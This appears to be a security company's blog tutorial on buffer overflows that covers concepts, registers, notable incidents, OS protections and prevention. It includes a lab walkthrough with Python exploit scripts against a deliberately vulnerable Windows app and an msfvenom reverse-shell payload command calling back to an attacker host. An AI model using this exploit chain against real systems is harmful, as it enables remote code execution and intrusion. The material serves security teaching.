Buffer Overflow: Attack, Types and Vulnerabilities Explained

Buffer OverFlow

What is a Buffer? 

The term “buffer” is a generic term that refers to a place to store or hold something temporarily before using it. In computer programming, data can be placed in a software buffer before it is processed. A software buffer is just an area of physical memory (RAM) with a specified capacity to store data allocated by the programmer or program. The data is temporarily stored until the computer is ready to accept it or before being moved to another location.  

Some real-time examples of buffer usage. 

  • When streaming a movie from the internet, for instance, a part of the movie you are streaming downloads to a memory location (buffer) in your device to help you stay ahead of your viewing.  “Buffering” delays occur when video data is processed faster than it is received. 
  • Your smartphone keyboard has a buffer used to hold keystrokes before they are processed. You may have seen it in action without realizing it. Most of us have experienced a situation where we typed something on a keyboard and got no response. Then, all of a sudden, an instant burst of text on the screen. All the keystrokes were held in the buffer and, when the system unfroze, they were all released from the buffer.  
  • Your printer buffer is used for spooling, which is just saying that the text to be printed is sent to a buffer area or spool so that it can be printed from there.  This frees up the computer to attend to other things.  

What is Buffer Overflow? 

A buffer overflow (or buffer overrun) occurs when a computer, while writing data to a buffer, overruns its capacity or the buffer’s boundary and then bursts into boundaries of other buffers, and corrupts or overwrites the legitimate data present.

For example, imagine a vessel designed to accommodate 15 liters of liquid content, but all of a sudden, over 20 liters were poured into it. With not enough space to hold the extra liquid, the contents overflow the bounds of the container. Buffer overflow works on this similar principle.

Consider another example where we have designed an application that asks for the user’s phone number required for some registration. In general, a phone number has 10+3 (max) characters, so we would require 13 bytes of memory to hold the data of the users. But, if some user enters more than 13 characters, the web application will freeze and will not accept new connections from everyone else, resulting in a denial of service.

Expected input from, users: 

Unexpected input from end-user: 

The scenario described above is a typical buffer overflow. The 13-character phone number inputted by users has overrun its bounds and copied over all other surrounding buffers in the vulnerable function and has caused the application to misbehave. This can be exploited to execute arbitrary code on the web application.

What is a Buffer Overflow Attack? 

An attacker can take control of crash, or alter a process by exploiting a buffer overflow. The Common Weakness Enumeration (CWE) and SANS Top 25 Most Dangerous Software Errors consistently place buffer overflow in the top three positions. A classic buffer overflow is specified as CWE-120 in the CWE dictionary of weakness types.  Buffer overflows continue to affect software from both big and small suppliers, even though they are well understood. 

Buffer overflows can happen accidentally or as a result of malicious actors. A threat actor can send carefully crafted input — referred to as arbitrary code to a program. The program attempts to store the input in a buffer that isn’t large enough for the input. The excess data is then written to the adjacent memory, and it overwrites all the data present there. 

The returned pointer for the exploited function—the address to which the operation should go next—is included in the buffer’s original data. However, the attacker has the option to set new values that point to a different address. The new values are typically set by the attacker to the location of the exploit payload. With this modification, the attacker’s malicious code now has control of the process and its execution path. 

There is no security against accessing or overwriting data in any area of memory in programming languages like C and C++. They are thus susceptible to buffer overload attacks. Bad actors are capable of directly manipulating memory using standard programming methods. 

Buffer overflow vulnerabilities are less likely to be caused by coding flaws when using contemporary programming languages like C#, Java, and Perl. Buffer overflows can nevertheless occur in any programming environment that permits direct memory manipulation due to programming compiler bugs, runtime library faults, or language features.

Types of Buffer Overflow Attacks 

Buffer overflow attacks can take many different forms and use a variety of strategies to weak target apps. The two most widely used attack strategies are: 

  • Stack-based Buffer Overflows  

A stack-based buffer overflow occurs when a program writes more data to a buffer located on the stack than what is allocated for that buffer. This almost always results in the corruption of adjacent data on the stack. This is the most common type of buffer overflow attack. 

  • Heap-based Attacks 

A heap-based buffer overflow is where the buffer, to be overwritten, is allocated a large portion of additional memory. Exploitation is performed by corrupting stored data in a way that causes the application to overwrite internal structures. This type of attack targets data in the open memory pool known as the heap.  

General purpose registers 

On the x86-32bit architecture, 8 general purpose registers are used to store data and address that point to other positions in memory, these registers are: 

  • EAX 
  • EBX 
  • ECX 
  • EDX 
  • ESI 
  • EDI 
  • ESP 
  • EBP 

From this list the most important registers for us are ESP and EBP, there is also a very specialized register called EIP that is going to be very important so we are going to talk about these important registers: 

EIP: It is used to point to the address of the next instruction to be executed.  

ESP: The current stack pointer —holds the current address that we are running 

EBP: The base pointer for the current stack frame. When a function is called, some space is reserved on the stack for local variables, which is referenced as EBP. 

Common steps to follow for the attack to work. 

Below are the 7 basic steps you must follow to perform the overflow in the buffer of any vulnerable application. 

Assume, that we have found some “X” application, that has the buffer overflow vulnerability. 

  1. Spiking 

Motive: Find which modules/fields of the software/application are vulnerable to BOF. 

To check this, we will send a lengthy input to each software module/field and check if the buffer is overflowed or not (looking for a pause 

  1. Fuzzing: 

Motive: To find the buffer length 

Finding the length of the input, that has to be passed as an input to the application to crash the application. 

  1. Finding the offset: 

Motive: Find the offset value, present in the EIP register. 

To achieve this, first, we will send a lengthy input containing unique characters. Then, find the offset of the 4 characters present in the EIP register. 

Following modules from Metasploit can be used, to create a pattern and find the offset. 

pattern_offset.rb 

pattern_create.rb 

  1. Overwriting the EIP: 

Motive: To overwrite the contents of the EIP register. 

To achieve, this we will use the offset value available from the previous step and place any four ASCII characters of our choice so that this value reflects in the EIP register, the next time when we re-run the application. 

  1. Finding the bad characters: 

Motive: Find the bad characters which cannot be used as a part of a malicious payload. 

To achieve this, we will send a sequence of bad chars ranging from (x00-xff) as an input to the application and look for the missing or changed sequence of characters. 

  1. Finding the right module 

Motive: Find a return address, which will point to our payload. 

To achieve this, we need to find a DLL of the vulnerable application which has NO memory protections enabled and has instructions like ‘JMP ESP’. Then, make a note of that return address. 

  1. Generate the shellcode and gain command execution 

Motive: Create a shellcode that helps us get a reverse shell 

To achieve this, we will use the offset value from step 3, a list of bad characters from step 5, and the return address from step 6 to create a payload using the msfvenom. 

Examples of notable buffer overflow attacks: 

Although buffer overflow has been known to the security community for many years, it still ranks as one of the most widespread security problems in software. Some of the largest data breaches in history have been caused by buffer overflow attacks. Examples that stand out include: 

  • Morris Worm 

For Reference: https://www.hypr.com/morris-worm/ 

  • SQL Slammer 

For Reference: https://www.welivesecurity.com/2016/09/30/flashback-friday-sql-slammer/ 

  • Heartbleed 

For Reference: https://www.securityweek.com/why-heartbleed-vulnerability-matters-and-what-do-about-it 

  • WhatsApp VoIP 

For Reference: https://www.wired.com/story/whatsapp-hack-phone-call-voip-buffer-overflow/ 

Enough of theory, let’s have a look at some vulnerable applications where we have limited space left for shellcode. 

Requirements:  

  1. Vulnerable application: we have used vulnapp2.exe  
  1. Windows 10 32-bit 
  1. Immunity debugger 
  1. Kali (to act as an attacker machine)  

Basic things, before we start 

  1. Disable defender on windows 
  1. Disable all security measures in the exploit protection section 
  1. Make sure both kali and windows are reachable i.e. NETWORK set to bridge mode 

NOTE: make sure to start the application and attach it to the immunity debugger after every crash. (in some cases, application and immunity debugger must be run as ADMINISTRATOR. 

Assuming all things are setup, let’s start  

Step 1: Overflooding the Buffer

We will use the below code. Here we are trying to overflow the buffer and write the input onto the adjacent registers like EIP, ultimately causing a crash in the application. 

#!/usr/bin/python 

import socket 

try: 

  print “\nSending evil buffer…” 

  buffer = “A” * 2100 

  s = socket.socket (socket.AF_INET, socket.SOCK_STREAM) 

  s.connect((“192.168.0.125”, 7002)) 

  s.send(buffer) 

  s.close() 

  print “\nDone!” 

except: 

  print “\nCould not connect!” 

Here a buffer of length 2100 caused an overflow and crashed the application as seen in the above screenshot. 

Step 2: Find the Offset Value Present at EIP 

For this we will use msf module called : /usr/bin/msf-pattern_create 

>> /usr/bin/msf-pattern_create -l 2100 

Place this in the below code and run the program. 

#!/usr/bin/python 

import socket 

try: 

  print “\nSending evil buffer…” 

  buffer = “<<<generated pattern>>>” 

  s = socket.socket (socket.AF_INET, socket.SOCK_STREAM) 

  s.connect((“192.168.0.125”, 7002)) 

  s.send(buffer) 

  s.close() 

  print “\nDone!” 

except: 

  print “\nCould not connect!” 

To find the offset value present at EIP, we can use the MSF module called “/usr/bin/msf-pattern_offset” 

>> /usr/bin/msf-pattern_offset -q 72433372 -l 2100 

Offset value at EIP is 2080 

Step 3: Control EIP 

To place a value that we control onto the EIP register we can use the below code. Here we are placing 2080 A’s (from the above step) in buffer and then 4 B’s in EIP, which will confirm that we can control EIP. 

#!/usr/bin/python 

import socket 

try: 

  print “\nSending evil buffer…” 

  buffer = “A” * 2080 + “B”*4 + “C” * 20 

  s = socket.socket (socket.AF_INET, socket.SOCK_STREAM) 

  s.connect((“192.168.0.125”, 7002)) 

  s.send(buffer) 

  s.close() 

  print “\nDone!” 

except: 

  print “\nCould not connect!” 

Step 4: Finding the Bad Characters. 

There are a total of 255 bad characters and we have only 12 bytes of memory left in the buffer to test for the bad characters i.e., limited space left for bad characters. 

 In this case, we need to place 26 bad characters each time in the below code till all the bad characters are tested i.e., from \x00 to \xff 

NOTE: If we increase our shellcode to more than 2100 bytes, the application will behave strangely and we won’t be able to control the value at EIP. So, in this case, we need to use the available 12 bytes and test for bad characters. 

#!/usr/bin/python 

import socket 

try: 

  print “\nSending evil buffer…” 

  badchar1 = “\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c” 

  badchar2 = “\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18” 

  badchar3 = “\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24” 

  badchar4 = “\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30” 

  badchar5 = “\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c” 

  badchar6 = “\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48” 

  badchar7 = “\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54” 

  badchar8 = “\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60” 

  badchar9 = “\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c” 

  badchar10 = “\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78” 

  badchar11 = “\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84” 

  badchar12 = “\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90” 

  badchar13 = “\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c” 

  badchar14 = “\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8” 

  badchar15 = “\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4” 

  badchar16 = “\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0” 

  badchar17 = “\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc” 

  badchar18 = “\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8” 

  badchar19 = “\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4” 

  badchar20 = “\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0” 

  badchar21 = “\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc” 

  badchar22 = “\xfd\xfe\xff\x90\x90\x90\x90\x90\x90\x90\x90\x90” 

  badchar23 = “\x3C\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90” 

  eip = “\x3d\x11\x80\x14” 

  jmpecx = “\xFF\xE1\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90” 

  buffer = “A” * 2080 + eip + badchar23 

  s = socket.socket (socket.AF_INET, socket.SOCK_STREAM) 

  s.connect((“192.168.0.125”, 7002)) 

  s.send(buffer) 

  s.close() 

  print “\nDone!” 

except: 

  print “\nCould not connect!” 

After running the above code 22 times we got bad characters as 

3B, 3C, 45, 46,47,48 

We need to place each character again and cross-check whether it is a bad character or not because whenever a bad character is encountered, there is a high chance that the following characters will be replaced. 

For example, if 2A is a bad character, then the following character i.e. 2B too will be replaced or missed. In this case, we need to test each of them individually by passing one character at a time. 

Again, after testing the above bad characters we could conclude that following are the bad characters. 

Bad Characters = \x00 \x3B \x45 

Step 5: Finding the Right Module. 

In this step, we will try to find a .dll module of the application, which has JMP ESP instruction in it using the mona modules available in the immunity debugger. 

Use the below command, to list the available module. 

>> !mona modules 

There’s one module highlighted in the above image, which has all protections set to “False”. We will use this and find if there is any instruction called ‘JMP ESP’ in it and make a note of the returned address. 

First, we need to find the assembly language value for JMP ESP instruction using /usr/bin/msf-nasm_shell  

So, JMP ESP is \xFF\xE4 in assembly language 

Use the below command to find the above instruction in the module found. 

!mona find -s “\xFF\xe4” -m “VulnApp2.exe” 

We got the following address: 1480113D 

The following address will be passed in EIP: \x3D\x11\x80\x14 

Eip = “\x3D\x11\x80\x14” 

Once we have found the module, we need to create a shellcode using msfvenom but we have the following hurdle in creating the shellcode. 

Condition at a place: Limited space i.e. 12 bytes left for the shellcode. 

We would require a minimum of 1500 bytes of space to write our shellcode, but we have only 12 bytes left and cannot increase the buffer length. 

To overcome the issue, we will follow the below steps 

  1. first place the address of ESP in the EIP register   

EIP ß JMP ESP 

  1. once the control reaches ESP, we will again make a jump to the ECX register where our buffer i.e. A’s are written.  

ESP ß JMP ECX 

Here, after 4 bytes are used for EIP we will be left with 12 bytes for JMP ECX instruction. 

2 bytes rea used for “\xFF\xE1 and 10 nops for proper padding. 

The final jmpecx variable looks like this. 

Jmpecx =  “\xFF\xE1\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90” 

Step 6: Generating the Shellcode 

Use the below command to create the shellcode.  

NOTE: Make sure to replace the IP and port of the attacker machine. 

>> msfvenom -p windows/shell_reverse_tcp LHOST=192.168.0.106 LPORT=1337 -f c -a x86 -b “\x00\x3B\x45” 

Step 7: Delivering the Shellcode. 

Use the below code, where we have placed the above-generated shellcode in it. 

#!/usr/bin/python 
import socket 
 
try: 
  print “\nSending evil buffer…” 
  shell = (” << shellcode >>”) 
  eip = “\x3d\x11\x80\x14” 
  jmpecx = “\xff\xe1\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90” 
 
  buffer = shell + “A” * (2080 – len(shell)) + eip + jmpecx 
 
  s = socket.socket (socket.AF_INET, socket.SOCK_STREAM) 
  s.connect((“192.168.0.125”, 7002)) 
  s.send(buffer) 
  s.close() 
  print “\nDone!” 
 
except: 
  print “\nCould not connect!” 

Start the listener, on port 1337(as per the msfvenom command) and run the above code. We will receive a reverse shell on our listener. 

Modern OS protections for the attack 

In addition, modern operating systems have runtime protection. Three common protections are: 

  • Address space randomization (ASLR)—randomly moves around the address space locations of data regions. Typically, buffer overflow attacks need to know the locality of executable code, and randomizing address spaces makes this virtually impossible. 
  • Data execution prevention—flags certain areas of memory as non-executable or executable, which stops an attack from running code in a non-executable region. 
  • Structured exception handler overwrites protection (SEHOP)—helps stop malicious code from attacking Structured Exception Handling (SEH), a built-in system for managing hardware and software exceptions. It thus prevents an attacker from being able to make use of the SEH overwrite exploitation technique. At a functional level, an SEH overwrite is achieved using a stack-based buffer overflow to overwrite an exception registration record, stored on a thread’s stack. 

How to Prevent Buffer Overflow Attacks 

There are several ways to prevent buffer overflow attacks from happening, including the following: 

  1. Keep devices patched. Vendors issue software patches and updates to fix buffer overflow vulnerabilities that have been discovered. There is still a period of risk between the vulnerability being discovered and the patch being created and deployed. 
  1. Follow the principle of least privilege (POLP). Users and applications should only be given the permissions they need to do their jobs or perform the tasks they are assigned. When possible, only grant temporary privileges to users and applications, and drop them once the task has been completed. 
  1. Use memory-safe programming languages. The most common reason why buffer overflow attacks work is because applications fail to manage memory allocations and validate input from the client or other processes. Applications developed in C or C++ should avoid dangerous standard library functions that are not bounds-checked, such as gets, scanf, and strcpy. Instead, they should use libraries or classes that were designed to securely perform string and other memory operations. Better still, use a programming language that reduces the chances of a buffer overflow, such as Java, Python, or C#. 
  1. Validate data. Mobile and web applications developed in-house should always validate any user input and data from untrusted sources to ensure they are within the bounds of what is expected and to prevent overly long input values 
Subscribe to our Newsletter
Subscription Form
DOWNLOAD THE DATASHEET

Fill in your details and get your copy of the datasheet in few seconds

CTI Report
DOWNLOAD THE EBOOK

Fill in your details and get your copy of the ebook in your inbox

Ebook Download
DOWNLOAD A SAMPLE REPORT

Fill in your details and get your copy of sample report in few seconds

Download ICS Sample Report
DOWNLOAD A SAMPLE REPORT

Fill in your details and get your copy of sample report in few seconds

Download Cloud Sample Report
DOWNLOAD A SAMPLE REPORT

Fill in your details and get your copy of sample report in few seconds

Download IoT Sample Report
DOWNLOAD A SAMPLE REPORT

Fill in your details and get your copy of sample report in few seconds

Download Code Review Sample Report
DOWNLOAD A SAMPLE REPORT

Fill in your details and get your copy of sample report in few seconds

Download Red Team Assessment Sample Report
DOWNLOAD A SAMPLE REPORT

Fill in your details and get your copy of sample report in few seconds

Download AI/ML Sample Report
DOWNLOAD A SAMPLE REPORT

Fill in your details and get your copy of sample report in few seconds

Download DevSecOps Sample Report
DOWNLOAD A SAMPLE REPORT

Fill in your details and get your copy of sample report in few seconds

Download Product Security Assessment Sample Report
DOWNLOAD A SAMPLE REPORT

Fill in your details and get your copy of sample report in few seconds

Download Mobile Sample Report
DOWNLOAD A SAMPLE REPORT

Fill in your details and get your copy of sample report in few seconds

Download Web App Sample Report

Let’s make cyberspace secure together!

Requirements

Connect Now Form

What our clients are saying!

Trusted by